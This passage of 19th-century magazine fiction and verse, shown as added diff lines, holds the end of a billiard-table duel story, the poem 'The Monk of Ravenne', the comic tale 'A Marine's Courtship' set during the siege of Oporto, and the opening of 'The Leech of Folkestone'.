+"Come, come! no child's play or boxing! the thing is too serious!
+_C'est un combat à la mort!_"
+
+"Where shall I find you to-morrow?" said one of the officers,
+addressing Alfonse.
+
+"Fix your ground," was the reply.
+
+"No to-morrows!" said the officer who had received the blow; "this
+instant!"
+
+"This instant be it, if you please," replied Alfonso with the utmost
+indifference.
+
+"I shall not sleep to-night till that blow is avenged!" said the other,
+foaming with rage.
+
+"I, too, want to unnumb my hand. I have hurt my knuckles against your
+cheek-bones," said Alfonse.
+
+"Where would they fight at such a time of night as this?" observed some
+of the officers.
+
+"In the garden behind the _café_," cried the ancient _maître d'armes_;
+"a sword in one hand, and a billiard-lamp in the other."
+
+"But," said Alfonse, "I am tired. I know your style of fighting men,
+_Crane_; you want to make me break ground, and drive me step by step
+round the garden. Don't think it, my lad. Besides, the lamp may go out.
+But, if you have no objection, the billiard-table will be a good arena.
+We shall be well lighted, and there will be no means of drawing back a
+foot.
+
+"Be it so," said the other.
+
+The doors were closed, and they laid hands on the waiters and the
+proprietor of the _café_, who were going to the police. The swords were
+then brought. The two adversaries cast lots for them, and then pulled
+off their coats and waistcoats, and unbuttoned their shirts, to show
+that they had nothing under.
+
+Both then took their swords.
+
+The officer wrapt round his hand a handkerchief, leaving both ends
+dangling. Alfonse neglected this practice, the object of which was to
+distract the attention of the adversary by the perpetual flutter of
+their two white points, thus to turn away his attention from the sword.
+But Alfonse had a manner of fighting of his own, and cared little for
+these petty proceedings. He never looked at the steel; but, fixing his
+eye on that of his antagonist, anticipated every motion that he made.
+
+The two wrestlers, or gladiators I might say, got on the table
+together, and, according to the terms or conditions agreed on between
+the students and the officers, rested their swords on the toes of their
+boots. A traveller from a commercial house who happened to be present,
+and could have no interest in the scene other than what its novelty
+excited, was fixed on to clap his hands three times, and at the third
+the swords were upraised in the air, and the two combatants came to
+guard.
+
+A terrible silence reigned through the room, and for some seconds it
+was only broken by the clashing of the steel; for both parties, as they
+skirmished, were well aware that a single _faux pas_ was death. The
+slightest stepping back, shrinking of the body, or leaping on one side,
+must inevitably prove fatal.
+
+The officer was a head and shoulders taller than Alfonse, and looked
+as though he could crush him; but he little heeded this advantage, if
+advantage it was, for he by degrees lowered his body till he was right
+under the sword of his foe, and almost bent himself down upon the bed
+of the table. No other change in his attitude then took place.
+
+All at once the officer, taking this posture for the effect of fear,
+made a furious lunge, which was parried with the greatest _sang froid_
+and skill, and Alfonse allowed the officer to return to his ground
+without attempting to return it. His adversary was deceived by this
+sort of timid defence, and, become more adventurous, attacked him again
+with increased fury,--so much so, that, thrown off his guard, his left
+foot quitted the cushion of the table, against which it had been fixed.
+Then it was that Alfonse made a rapid lunge at the officer's face. He
+endeavoured to regain the ground he had lost, to resume his position.
+The student would not give him time, and charged with impetuosity his
+disconcerted enemy, who could only avoid his thrusts by keeping his
+body bent backwards. Alfonse forced him to the edge of the table, when
+his foot tripped, and at that moment drove the sword up to the hilt in
+his heart.
+
+The unhappy officer cried out "Hit! hit!" Then he raised himself to his
+full height, and fell backwards from the top of the table to the floor.
+
+Awful was the sound that the weight of that body made upon the boards
+of the room! There was mixed up with it a feeling--a dread lest the
+dead man should hurt himself in falling. Never did I see, for I was
+present, so dreadful a contest! Never did I experience anything so
+frightful as the silence of those two men,--as the flashing of their
+swords by the light of the lamps,--as the fall of the vanquished, who,
+disappearing behind the table, seemed at once to have been engulfed in
+a tomb that opened from behind to receive him!
+
+
+
+
+THE MONK OF RAVENNE.
+
+
+    The Monk of Ravenne was daring and great,
+    He had risk'd his life for the Church's estate;
+    He was loved by all who the Virgin love,
+    And the Pope and he were hand and glove;
+    Not a deed was done by friars or men,
+    But _that_ deed was known to the Monk of Ravenne.
+
+    The Monk of Ravenne on his death-bed lay,
+    His eyes were closed to the light of day,
+    His ears drank in the fathers' prayers,
+    And his soul shook off its earthly cares;
+    Many a tongue and many a pen
+    Moved in praise of the Monk of Ravenne.
+
+    The Monk of Ravenne in the tomb was placed,
+    With noble and fair the chapel was graced,
+    The requiem rose with the organ's swell,
+    And an hundred voices peal'd his knell;
+    The lightning flash'd, and up started agen[9]
+    The ghastly form of the Monk of Ravenne.
+
+    "Fools!" cried the monk, "do you pray for _me_,
+    Who have plunder'd you all, of every degree?
+    I have blasted your fame, I have mock'd at your shrine,
+    And now do I suffer this doom of mine,
+    'Deserted of heaven, detested of men,
+    Lost, body and soul, is the Monk of Ravenne!'"
+
+        CLEIAUBUID.
+
+FOOTNOTE:
+
+[Footnote 9: _Vide_ Chaucer, &c.]
+
+
+
+
+A MARINE'S COURTSHIP.
+
+BY MICHAEL BURKE HONAN.
+
+WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+
+I have the honour to be one of that class of amphibious animals called
+in his Majesty's service _sea-soldiers_; that is to say, I have the
+honour to hold a commission in the noble, ancient, and most jolly body
+of the Royal Marines. I am by profession, therefore, as well as by
+nature, a miscellaneous individual; and circumstances have more than
+once thrown me into situations where the desire to support the credit
+of the cloth, added to my own stock of cheerful impudence, have carried
+me through, in spite of difficulties which would have appalled another
+man. I had the misfortune to be employed on board one of the ships
+of the inner squadron in the Douro during the siege of Oporto. I do
+not say misfortune out of any disrespect to the commodore, or to the
+captain under whose command I was immediately placed, or to my brother
+officers, for a more generous, convivial set of fellows could not be
+got together; but I speak of the place, and of the people, and of the
+few opportunities which were afforded me of showing off a handsome
+uniform, and, I must say, rather a well-made person, which it inclosed.
+Besides, I was kept on hard duty; and though there were some pretty
+women who appeared on Sunday during the cessations of the usual shower
+of shells from the Miguelite camp, yet there were so many competitors
+for their smiles, that I really could not take the trouble of making
+myself as amiable as I otherwise should, and, as I flatter myself, I
+could. Don Pedro the emperor, who now sleeps with his fathers, and
+whose heart is deposited in the cathedral of Oporto, was then without
+the society of his imperial and beautiful wife; and, whether it was to
+set a good example to his court, or to prevent his mind from dwelling
+on the absence of his true love, he was one of the most active of my
+rivals, and I protest there was not a pretty face in the whole town
+that he had not the pleasure of paying his addresses to. The Marquis
+of Loule, his brother-in-law, also separated from that most lovely
+and most generous of Portuguese princesses who now sits nightly at
+Lisbon, smiling on all the world from her box at the French theatre in
+the _Rua dos Condes_, was regularly employed in the same operations;
+and I never took a sly peep at a pair of dark and bewitching eyes
+that I did not find the emperor or the marquis also reconnoitring.
+The marquis is one of the handsomest men in Europe, but with the most
+vacant expression possible. He wins every heart at first sight, but
+he loses his conquests as fast as he makes them. Women may be caught
+by glare; and a man of high rank, an Adonis in face and person, must
+tell: but I'll be hanged if the dear creatures are such fools as we
+think them; and the marquis's wife first, and every other flame of his
+after, have dismissed him, on finding that his good looks and brains
+were not measured by the same scale. Then there was the Count Villa
+Flor, and several other martial grandees; not to speak of the generals
+and colonels of regiments, and the well-built and well-whiskered
+officers of the British and French Legion, and the captains and first
+lieutenants of our squadron. I run over this list just to show what
+difficulties I had to contend with; and that, if I did not turn
+the head of the whole town, there was a numerous list of operative
+love-makers who shared the market with me.
+
+[Illustration: A Marine's Courtship]
+
+About this time the senior captain of the squadron determined to
+establish a signal-station to communicate with the ships of his
+Britannic Majesty outside the bar; and, no fitting place being found
+on the Pedroite side of the river, an application was made to General
+San Martha, who commanded for the Miguelites, for permission to erect
+a post on the left bank, which permission was most liberally granted.
+A party was instantly set to work, and in the course of a few days a
+flag-staff was hoisted; and a large house and court-yard given for
+the accommodation of the officer and men who were to work it. As luck
+would have it, I was selected for this service, in company with a
+wild lieutenant of the fleet, and we soon established ourselves in a
+comfortable quarter, having the permission to rove about among the
+Miguelite grounds where we pleased, and to cross as usual to Oporto,
+when leave of absence was to be procured.
+
+We had not been long established at this fort, when the batteries
+which the Miguelites had established at the mouth of the river began
+to do their work in good earnest, and so effectually to close the
+bar, that not only was the usual supply of provisions cut off, but
+strong fears were entertained that the city would be reduced by famine
+to capitulate. There was an abundance of salt fish, or _bacalhao_,
+and a superfluity of port wine; but even the best fare will tire on
+repetition, and you may be assured that salt fish for breakfast,
+dinner, and supper was not very acceptable to the officers or the men.
+Our commodore, with the foresight that distinguishes a British officer,
+had provided for the coming difficulty; and had arranged with the
+Miguelite general for an abundant supply of fresh provisions, meat,
+poultry, and vegetables, for all the ships' crews, on the distinct
+understanding that no part of it was to be passed over to the besieged
+city. The squadron therefore lived in abundance, while the garrison was
+half starved; and as we passed through the streets with our shining
+red faces and sleek sides, puffed out by the good cheer our commodore
+had provided, we formed a strong contrast to the lean and shrivelled
+soldiers of glory, who were starving in honour of the charter. The
+private families of the town also began to suffer, and the beauty of
+many of the most admired, sensibly to diminish; salt fish and port wine
+did not in combination make a healthy chyle: and I could observe that
+the Oporto ladies, more carefully than before, wrapped their long dark
+cloaks about them, to hide the ravages which short commons was making
+in the plumpness of their persons.
+
+It was at this moment that I conceived and executed the bold plan which
+forms the subject of this paper, and from which all learned communities
+may be informed that, for originality of thought and ability in the
+execution, no adventurer can compare to a British marine.
+
+The most beautiful maiden at Oporto was a Spanish girl called Carolina.
+She was the daughter of the alcade of Ponte Vedra in Galicia, who had
+fled some time before, from the retributive justice of the law, which
+he himself had so long administered; he had died months before the
+present period, leaving Carolina exposed to all the privations of a
+besieged town, and to the temptations of a profligate and military
+court. I never saw a more lovely creature: her eyes were as dark
+as night, and her cheeks glowed with a warmth unknown in the cold
+complexions of the north. Her person was faultless; her feet and her
+hands were small: one could span her waist; and she walked with that
+combination of majesty and grace which a Spanish woman can alone
+assume. Poor Carolina was as good as she was beautiful; and though the
+emperor, and his hopeful brother-in-law, and all the gay cavaliers
+of the camp, were ready to throw themselves at her feet, she behaved
+with a discretion which won her the good opinion of the whole army,
+not to speak of the fleet, where such remarkable virtue could be fully
+estimated. I among the rest of the inflammable multitude had been
+struck with the magic charms of the angelic Carolina, and devoted
+every moment of the occasional leave of absence which I procured, to
+promenading up and down before her window, in the hope of catching a
+glance of her beautiful eyes, and of attracting her regard to my own
+beloved person. I was as much in love with her as a marine could be,
+and my hopeless passion became so well known that it was a standing
+joke at the mess-table, and our wicked wag of a commodore, who I
+fancied was a little caught himself, never failed to inquire if I had
+taken my usual walk, and met with the same good fortune.
+
+You can easily imagine my delight when I heard that a scarcity was
+making such rapid progress in the city, and when I found that even the
+emperor's table was limited to the ordinary rations of _bacalhao_,
+black bread, and port wine. I will own that my heart leaped for joy
+when I ascertained from an emissary employed to watch the house of
+Carolina that she too was experiencing the pangs of want, and that with
+her scanty means she was unable to procure the common necessaries for
+her sustenance. Our ships were abundantly supplied, as I have before
+informed you; and the little signal-station which I occupied was the
+abode of plenty. The Miguelites faithfully performed their engagement;
+and day after day the regular supplies of beef, poultry, vegetables,
+and fruit came in. The commodore of course respected the contract that
+he had entered into; and though the emperor made several advances
+to his favour, and though he was openly solicited on his behalf by
+various officers of the staff, he refused to allow a pound of meat to
+be passed into the city. Several of the British residents represented
+their claims in a formal manner for his protection; but he did his duty
+like a man, and he resolutely determined not to break the engagement
+he had entered into with the general of Don Miguel, or compromise the
+safety of his own crews by giving way to his good-nature. The value of
+a leg of fowl may therefore be estimated; and it immediately occurred
+to me that I could soften the obdurate heart of the beautiful Spaniard
+by secretly conveying to her some portion of the stock which was
+appropriated to our own table.
+
+I therefore set about purloining a capital _gallina_; and when I had
+secured it, in defiance of the jealous watch of the steward, I crammed
+it into my pocket, and, asking leave to go on shore, started about the
+close of day to try whether hunger, which breaks through stone walls,
+would open the oak door of the charming Carolina. I soon found myself
+in the well-known quarter, and before the house that contained my love;
+and, after reconnoitring for an instant to see that the emperor or
+his staff were not in the way, ran up to the first landing, where she
+lived, and pulled the little bell-string which hung at the door. In
+an instant I heard the pretty feet tapping along the passage, and the
+soft voice of Carolina herself exclaiming "_Quien es?_" Who is there?
+"It is I, a British officer, and a friend of yours," I replied; "I want
+particularly to speak to you."
+
+"Sir," said Carolina, "I have not the honour of your acquaintance."
+
+"It is true, señorita; but I come to serve you, and my good intentions
+will excuse the absence of ceremony."
+
+"Sir, I must wish you a good day: I cannot accept a service from
+strangers; I have not asked you for any."
+
+"Stay, beautiful Carolina," I exclaimed; "I adore you."
+
+"Sir, I have the honour to wish you good evening."
+
+"Stay, angelic vision: I am an officer of Marines."
+
+"What have I to do with the Marines?"
+
+"I come to devote myself to you."
+
+"Sir,--really sir, you carry the joke too far; I must dispense with
+your unseasonable visit. I have again the honour to wish you good
+evening."
+
+Carolina was about to close the little slide of the door through which
+this brief conversation had been carried on, when, growing desperate
+with vexation, I held the slide open with one hand, while with the
+other I pulled the fowl from my pocket, and held it dangling before her
+face. Oh! if you had seen her look!--her eyes were fixed as Hamlet's
+when he sees his father's ghost, her mouth opened, and two little
+rivulets of water ran down at each side as when an alderman gets the
+first odour of a well-kept haunch.
+
+"Señorita," said I, eager to take advantage of the favourable
+impression the vision of the fowl had made on my beloved; "this bird
+is a proof of the warm interest which I take in your welfare. I have
+heard that you were suffering from the severe affliction that has
+fallen on this city; and, though I risk my character and the safety of
+his Britannic Majesty's fleet by bringing into Oporto any part of the
+provision allotted for the crews, I could not resist the impulse of
+stealing this bird, which I now have the honour to lay at your feet."
+
+The señorita answered not: pride on the one hand, and hunger on the
+other, were struggling. The physical want prevailed over the moral
+feeling. "Señor," said she, "I will accept the fowl, and cannot but
+feel obliged by the interest you have taken in my welfare. Good night,
+señor; it is getting late: I am certain you are anxious to return to
+your ship." With these words she shut the little slide of the door,
+and I remained in the passage, gaping with astonishment, confounded
+with delight, and wondering at the new recipe I had invented for making
+love. I waited for some time, hoping that the little wicket would be
+again opened; but Carolina, I presume, was too much occupied with
+the present I had made her to think of returning to bid me a second
+farewell; and I descended the staircase, charmed beyond expression with
+the result of my stratagem.
+
+I kept, of course, my recipe for making love a profound secret; but
+I did not venture to put it again into operation for two or three
+days. I made, however, the accustomed regular survey of the street
+in which Carolina resided, and watched with much interest for the
+reception given to my rivals. I cannot express the delight with which
+I witnessed them all, one after the other, refused admittance to her
+house. "She is picking the bones of the fowl," thought I; "that is a
+much better employment than listening to their stupid declarations. I
+must take care to keep my mistress in good humour, and to improve the
+favourable opinion she has already formed of me." I therefore watched
+my opportunity; secured a duck out of the next basket of poultry, and
+hastened on the wings of love to lay my treasure at her feet. No sooner
+did my trembling hand pull the bell-cord, and my eager voice announce
+my name, than I heard her gentle step in the passage, and soon the
+little slide of the door was opened, and I felt my heart leap to my
+mouth as I beheld her beautiful eye beaming on me with undisguised
+satisfaction. To ensure my welcome, and to save the dear creature from
+the pangs of expectation, I produced the duck, swinging it to and fro
+before the wicket, as a nurse does a pretty toy that she offers to the
+longing wishes of the child. Carolina smiled her sweetest smile; and,
+when I pushed in the prize, she returned me thanks in so endearing a
+manner that I lost all command of my reason, and poured out upon the
+staircase a volume of protestations of eternal love which might have
+served for the whole ship's company. From that hour my affair was done.
+Carolina could not resist the voice of truth, and the tender proofs of
+esteem which I alone had the power to offer. She refused to admit me
+then, but promised to consult her aunt on the propriety of receiving
+my visits; and that, if the discreet matron permitted it, she would be
+too happy in my acquaintance. I entreated the dear girl not to delay
+my happiness, and I fixed the following Thursday for the formidable
+interview with the aunt.
+
+I lay the whole of the next night awake, thinking over the present
+which would be most acceptable to the old lady. I finally resolved to
+purloin a small leg of lamb, which I observed hung up in the steward's
+pantry; and, in order to make room for it in my pocket, I cut a great
+hole in the bottom, so that the handle of the leg would hang down,
+while the thicker part prevented it from slipping through. _Armed_
+with my leg, I asked leave to go to Oporto, and received with joy the
+accustomed friendly nod. I soon landed at the arsenal, and mounted
+the long hill which led into the town, holding myself as straight as
+possible, so that the exuberance of my pocket should not be perceived.
+Unfortunately for me, a score of hungry dogs, which infest all
+Portuguese towns, were holding a council of war at the quay when I
+stept on shore; and one of them, getting scent of the end of the leg
+of mutton which hung through the hole in my pocket, gave a hint to the
+rest of the contraband which was going on, and I soon had the whole
+train after me, sniffing at my tail, and making snaps at the tempting
+morsel. I would have stooped to pick up a stone, which is the only way
+of frightening a Portuguese street dog; but I was afraid to disarrange
+the perpendicular, recollecting that, as I bent down, the end of the
+leg of lamb would be visible. I therefore bore the annoyance as well as
+I could, kicking out behind from time to time when my friends were most
+troublesome.
+
+Carolina and her aunt were at the window, probably expecting my
+arrival, and enduring the grumbling recollections of an ill-digested
+dinner of _bacalhao_, in the hope of a more wholesome supper being
+provided for them through my care; but when they saw me turn the
+corner of the street, and at least two dozen dogs smelling and sniffing
+at my skirts, they both burst out into an uncontrollable fit of
+laughter, and roared and roared again in a paroxysm of mirth. A crowd
+of dandies were passing at the moment, watching the window of Carolina,
+each hoping to be the favoured man; but when they heard the sudden
+burst of merriment which proceeded from her window, they looked round
+naturally for the cause, and they soon joined in the same chorus at my
+expense, on seeing me parade, with all the gravity of a drum-major, at
+the head of a legion of filthy curs.
+
+To make my situation worse, I dared not enter the house of Carolina;
+her character would be compromised by a visit in presence of so many
+admirers: and I had the additional mortification of being obliged to
+pass her door, and to walk a considerable distance until I escaped the
+impertinence of the sneering puppies, though I could not shake off the
+annoyance of those that followed at my heels. How gladly would I have
+drawn my sword, and challenged the whole party! how cheerfully would I
+have drawn the leg of lamb from my pocket, and stuffed it in the mouth
+of each impertinent dandy! but not only was my own honour at stake, but
+that of the British fleet, and I bore all in the king's name, and for
+the credit of the service. I have been in many a hot engagement, but
+I never suffered more than I did that day. At length, after doubling
+through two or three by-streets, I got rid of my impudent macaroni, and
+traced my way back again to the house of my beloved. She, with the old
+lady, were watching me from the window; but, grown wiser by experience,
+and probably afraid of losing a good supper, they did not laugh again
+with the same violence. I observed, however, the wicked smile with
+which my fair one retired to receive me at the door, and the suppressed
+titter with which the maiden aunt pulled her head from the window.
+
+The cursed dogs followed me up stairs, and it was with considerable
+difficulty I could prevent the most insolent from forcing their way
+with me into the presence of my mistress; but, after I got in, I heard
+them growling and barking on the stairs. The neighbours wondered what
+the deuce was the matter with the curs, or why they had come from their
+usual haunts to that unfrequented quarter.
+
+The señorita presented me in due form to her aunt.
+
+"Allow me," said she, "to introduce to you, dear aunt, this gallant
+English cavalier, Señor _Gallina_,--I beg pardon, Señor Marinero,--and
+permit me to present to you, señor, my respected aunt, Donna Francisca
+Azanares."
+
+I made a low bow, but said nothing, seeing that my mistress thought
+more of the fowl than of me; such is the way of the world, and those
+who will win women must endure to have their pride occasionally
+mortified. The old lady, however, covered me with compliments; she
+was delighted to make my acquaintance; her niece had told her what an
+amiable and gentlemanlike young man I was. I could observe, while the
+aunt was hard at work overloading me with compliments, that Carolina
+was taking a sly peep at the bulk of my pockets, and wondering what
+kind of commodity it was that produced so misplaced a swelling on so
+well-formed a young man as I flatter myself no one can deny I am; but,
+just at this moment, the bevy of hungry curs at the door set up such a
+howl in concert, that my angel was fain to cram her handkerchief into
+her mouth to conceal her laughing, and I thought the old dame would go
+into a fit, so violent was her merriment. Finding the case going thus
+hard against me, I determined to strike a bold stroke for conquest; so,
+slipping out my penknife, I slit up the pocket where the treasure lay,
+and down fell the leg of lamb in all its natural beauty on the floor.
+I thought the aunt would have fainted with delight, such an unexpected
+vision of glory dazzled her understanding and her sight. The _bouquet_
+of the meat was, I suppose, conveyed through the keyhole to the canine
+multitude that still lined the stairs, and another universal howl
+proclaimed their despair that it was beyond their reach.
+
+I soon took my leave, to the delight of Carolina and her aunt. I think
+I showed considerable tact in so doing; well knowing that a slice
+off the leg of lamb would be more acceptable to both than all the
+professions of admiration which I was prepared to make. I ventured on
+two or three civil things, but I could see my beloved's eyes fixed upon
+the handle of the leg; and it was evident the aunt was carrying on
+an internal debate whether it should be boiled, broiled, roasted, or
+stewed, or served up, according to the fashion of the province, with a
+mass of garlic. The dogs were waiting for me in the passage, and they
+eagerly followed me as I went down stairs; even the smell of my pocket
+had its attraction for them, but they dropped off one by one when they
+found the reality was gone. One old savoury rogue alone persecuted me
+to the river side; and though I pelted him with stones, and kicked him
+when I could, he still hung on my rear with his tongue out, licking the
+shreds which dangled from my torn pocket.
+
+The next day, when I went on board ship to make the usual report
+to the captain, I found that a court of inquiry was going on into
+the disappearance of the very leg of lamb which I had feloniously
+purloined. The steward had reported the accident to the purveyor of
+the mess, and he had called a council of war, who thought fit to make
+an official report to the skipper; so that the readers will readily
+imagine the agony of my feelings when I was asked to join the board,
+and to assist in the investigation. Fortunately for me, one of the
+aides-de-camp of the emperor had that morning come on board to request
+of the captain some provision for the imperial table, protesting
+that Don Pedro and his staff had nothing better than salt fish for
+rations; which request the captain was compelled, by a strict sense
+of duty, to refuse; and everybody set it down as certain, the instant
+the circumstance was brought to mind, that it was the aide-de-camp
+who stole the lamb. He had come wrapped up in his cloak, which was a
+circumstance fatal to his character; and it was agreed by the whole
+conclave that the gentleman with the gold-laced hat and large cloak
+had been the thief. I blushed up to the eyes at the consciousness of
+my guilt, and the dishonourable part I was playing in allowing an
+innocent person to be wronged for my misdeed; but I recollected that
+the young man was one of the party who ridiculed me the day before in
+the presence of Carolina, and wounded vanity made me disregard the
+twitchings of conscience.
+
+In order to avoid suspicion, I lay quiet for a day or two, and allowed
+Carolina and her aunt to feel the value of such an acquaintance as I
+was, under existing circumstances. While engaged with the captain
+on some official duty, the following morning, in his cabin, a young
+officer was introduced who solicited an immediate audience. The
+young man appeared buried in grief, and every now and then applied a
+handkerchief to his eyes, to wipe off the unbidden tears which mocked
+the sword which hung at his side. His profound sorrow and gentlemanlike
+appearance interested the good heart of our excellent captain; he
+begged him to be seated, and wished to know what service he could
+render him. The young man could with difficulty master his emotion, and
+the only words that were heard from him were, "My aunt!--my aunt!"
+
+"Pray, sir, be composed;" said the captain, a little tired of the
+display.
+
+"I will, sir," replied the young man, giving a great gulp, as if to
+swallow his misery, and applying his handkerchief to wipe off the tears
+from both his swimming eyes. "Oh! sir," he continued, "my poor aunt,
+she who reared me from a child, when I was left an unprotected orphan,
+and has placed me in the station which I now hold, is at the point of
+death, and the doctors all agree that nothing but _caldo di gallina_
+(fowl broth) can save her life. You know the state which we are in at
+Oporto, and that not a fowl is to be had if one offered a thousand
+milreas for it; I come to you, as a man and a Christian, to beg you
+will give me one single chicken from your larder."
+
+"It is impossible," said the captain; "you know the convention we have
+made with Santa Martha."
+
+"I know all that," resumed the young man; "but you must admit, my dear
+captain, that the convention is directed against the troops of Don
+Pedro, and the inhabitants at large who support him; but surely an old
+woman at the point of death was not contemplated by the treaty, and
+I entreat you to save the life of this most deserving and venerable
+of aunts." With these words the young officer again took out his
+handkerchief, and gave way to a flood of tears that would have moved
+the strictest disciplinarian that ever commanded a ship.
+
+It was not to be wondered at that the soft heart of our benevolent
+skipper was affected. He took the young man by the hand, and said, "My
+dear fellow, I can do nothing for you; I have signed a convention, and
+I cannot break it, were it to save the emperor's life: but go you to
+my steward, and if you can manage to extract a fowl from what he has
+prepared for my table, you may do so; but take care, I am not to know
+anything about it."
+
+I fancied the young fellow smiled in the midst of his grief at the
+mention of the emperor; but he dried up his tears in double quick
+time, and soon made his way to the steward's room, where I suppose he
+contrived to settle his affair to his satisfaction. He called on the
+following day to return his grateful thanks; but the captain would not
+hear a word. I observed, however, that he went down to the steward's
+cabin, and took a hasty leave as he went over the ship's side on his
+return. He scarcely failed to pay us a daily visit, and made us all
+take a strong interest in him and the recovery of this favourite aunt
+to whom he was so devotedly attached.
+
+This aunt, we found out afterwards, was the emperor; and so reduced was
+the imperial table for a short time, that Don Pedro must have starved,
+or lived on _bacalhao_, if this stratagem had not been adopted. The
+young fellow acted his part in a consummate manner, and I am told he
+boasts to this day of the trick he played the British squadron in the
+Douro. The captain, I am also told, gave him a little of his mind,
+having met him last year near the Admiralty, dressed out in fine
+feathers, and swelling with the importance of new-born greatness. "How
+is your aunt, you d---- lying Portuguese?" said the skipper. "If I ever
+catch you on board my ship, I'll give you a rope's end, you dog!"
+
+The more you beat one of the class of which this hero was a specimen,
+the more he likes it. So our Pedroite friend shrugged up his shoulders,
+and vanished in double quick time, the captain vociferating after him,
+"How is your aunt, you lubber?"
+
+Afraid of the consequences in case a discovery should take place, I
+kept quiet for nearly a week together, until a little note, written in
+a cramped hand, was brought for me to the signal-station, from which I
+found by the confession of the aunt that Carolina was in despair at not
+seeing me again, and that she was very ill from a salt-fish diet. I was
+conscience-stricken at the consequences of my neglect, and determined
+not to lose a moment in carrying provisions to my starving beauty; so,
+running to a basket that had just been brought in from the Miguelite
+market to be passed on board the commodore, I seized a turkey-poult,
+feathers and all, and thrust it into the same coat-pocket which had
+been enlarged to hold the leg of lamb. I asked and received leave to
+go on shore, and pushed as fast as four oars could impel me to the
+usual landing-place near the old nunnery. I saw some of the idle dogs
+basking in the sun, but did not heed their presence, so filled was I
+with the idea of my Carolina; and, jumping out of the boat, I ran along
+the quay, totally unconscious of the sneers that my presence excited.
+At last, when I got to the open rope-walk where the market is usually
+held, the number of my canine assailants became increased; and one of
+them, bolder than the rest, making a sudden snap at the head of the
+young turkey, which hung down through the fatal hole in my pocket,
+dragged its long neck to view, and exposed my shame to the assembled
+multitude. A crowd immediately gathered round me, and a score of other
+dogs began to contest the prize with him that held the head of the
+turkey in his mouth. I was in despair, and drew my sword to rid me of
+the cursed assailants; when, on the instant, as if to overwhelm me with
+disgrace, the captain of the ship to which I belonged forced his way
+through the crowd, and, laying his hand on my arm, told me to consider
+myself under arrest.
+
+The turkey-poult had by this time been torn from my pocket by the
+perseverance of my tormentors. It was pulled from one to the other on
+the ground; while the hungry citizens endeavoured to save its mangled
+remains, and a running fight was kept up between them and the dogs,
+which under other circumstances would have been highly amusing. My
+heart was heavy, and I was incapable of enjoying the most palpable
+joke. I walked slowly to the quay side, threw myself into the first
+boat that offered, went on board my ship, gave up my sword to the
+senior officer; was placed under a formal arrest, and told to prepare
+myself for a court of inquiry. I must say that I felt more for poor
+Carolina than I did for myself; and I could not help expressing
+my anxiety on her account to one of the brother officers who came
+to condole with me on my situation. The false friend, I was told
+afterwards, profited by the hint; and, instead of committing himself as
+I did, he hired a little cottage at the Miguelite side of the river,
+under cover of the guns of the fleet, where he placed Carolina and her
+aunt, and soon taught them to forget me. The worst of the affair was,
+that General Santa Martha sent in a formal complaint to the consul
+and the commodore of the squadron, and threatened to stop the usual
+supply of provisions for the ships' use. A long correspondence took
+place on the subject, which may be found now in the records of the
+Foreign Office. I am glad to say, for the credit of the service, that
+the affair was hushed up in the end, and the Miguelites consented to
+give the required number of rations. I was made the victim of that
+arrangement, and was glad to retire from the service on half-pay, to
+escape being ignominiously dismissed by a court-martial. I now live a
+miserable example of the doctrine of expediency. I entertain a horror
+of young turkeys and of dogs, and would be gladly informed of some land
+where neither of those odious creatures are to be met with.
+
+
+
+
+FAMILY STORIES.--No. VI.--MRS. BOTHERBY'S STORY.
+
+THE LEECH OF FOLKESTONE.
+
+
+Reader, were you ever bewitched? I do not mean by a "white wench's
+black eye," or by love-potions imbibed from a ruby lip; but, were you
+ever really and _bonâ fide_ bewitched, in the true Matthew Hopkins
+sense of the word? Did you ever, for instance, find yourself from head
+to heel one vast complication of cramps? or burst out into sudorific
+exudation like a cold thaw, with the thermometer at zero? Were your
+eyes ever turned upside down, exhibiting nothing but their whites? Did
+you ever vomit a paper of crooked pins? or expectorate Whitechapel
+needles? These are genuine and undoubted marks of possession; and if
+you never experienced any of them,--why, "happy man be his dole!"
+
+Yet such things have been; yea, we are assured, on no mean authority,
+still are.
+
+The world, according to the best geographers, is divided into Europe,
+Asia, Africa, America, and Romney Marsh. In this last-named and fifth
+quarter of the globe, a witch may still be occasionally discovered in
+favourable, _i. e._ stormy, seasons, weathering Dungeness Point in an
+egg-shell, or careering on her broomstick over Dymchurch wall. A cow
+may yet be sometimes seen galloping like mad, with tail erect, and an
+old pair of breeches on her horns, an unerring guide to the door of
+the crone whose magic arts have drained her udder. I do not, however,
+remember to have heard that any conjuror has, of late, been detected in
+the district.
+
+Not many miles removed from the verge of this recondite region, stands
+a collection of houses, which its maligners call a fishing-town, and
+its well-wishers a Watering-place. A limb of one of the Cinque Ports,
+it has (or lately had) a corporation of its own, and has been thought
+considerable enough to give a second title to a noble family. Rome
+stood on seven hills; Folkestone seems to have been built upon seventy.
+Its streets, lanes, and alleys,--fanciful distinctions without much
+real difference--are agreeable enough to persons who do not mind
+running up and down stairs; and the only inconvenience at all felt by
+such of its inhabitants as are not asthmatic, is when some heedless
+urchin tumbles down a chimney, or an impertinent passenger peeps
+into a garret window. At the eastern extremity of the town, on the
+sea-beach, and scarcely above high-water mark, stood, in the good old
+times, a row of houses then denominated "Frog-hole;" modern refinement
+subsequently euphonized the name into "East-street:" but what's in
+a name? the encroachments of Ocean have long since levelled all in
+one common ruin. Here, in the early part of the seventeenth century,
+flourished, in somewhat doubtful reputation, but comparative opulence,
+a compounder of medicines, one Master Erasmus Buckthorne; the effluvia
+of whose drugs from within, mingling agreeably with the "ancient and
+fish-like smells" from without, wafted a delicious perfume throughout
+the neighbourhood. At seven of the clock in the morning when Mrs.
+Botherby's narrative commences, a stout Suffolk punch, about thirteen
+hands and a half in height, was slowly led up and down before the door
+of the pharmacopolist by a lean and withered lad, whose appearance
+warranted an opinion, pretty generally expressed, that his master found
+him as useful in experimentalizing as in household drudgery, and that,
+for every pound avoirdupoise of solid meat, he swallowed at the least
+two pounds troy-weight of chemicals and galenicals. As the town clock
+struck the quarter, Master Buckthorne emerged from his laboratory, and,
+putting the key carefully into his pocket, mounted the sure-footed cob
+aforesaid, and proceeded up and down the acclivities and declivities of
+the town with the gravity due to his station and profession. When he
+reached the open country, his pace was increased to a sedate canter,
+which, in somewhat more than half an hour, brought "the horse and his
+rider" in front of a handsome and substantial mansion, the numerous
+gable-ends and bayed windows of which bespoke the owner a man of
+worship, and one well to do in the world.
+
+"How now, Hodge Gardener?" quoth the leech, scarcely drawing bit; for
+Punch seemed to be aware that he had reached his destination, and
+paused of his own accord; "how now, man? How fares thine employer,
+worthy Master Marsh? How hath he done? How hath he slept? My potion
+hath done its office? Ha!"
+
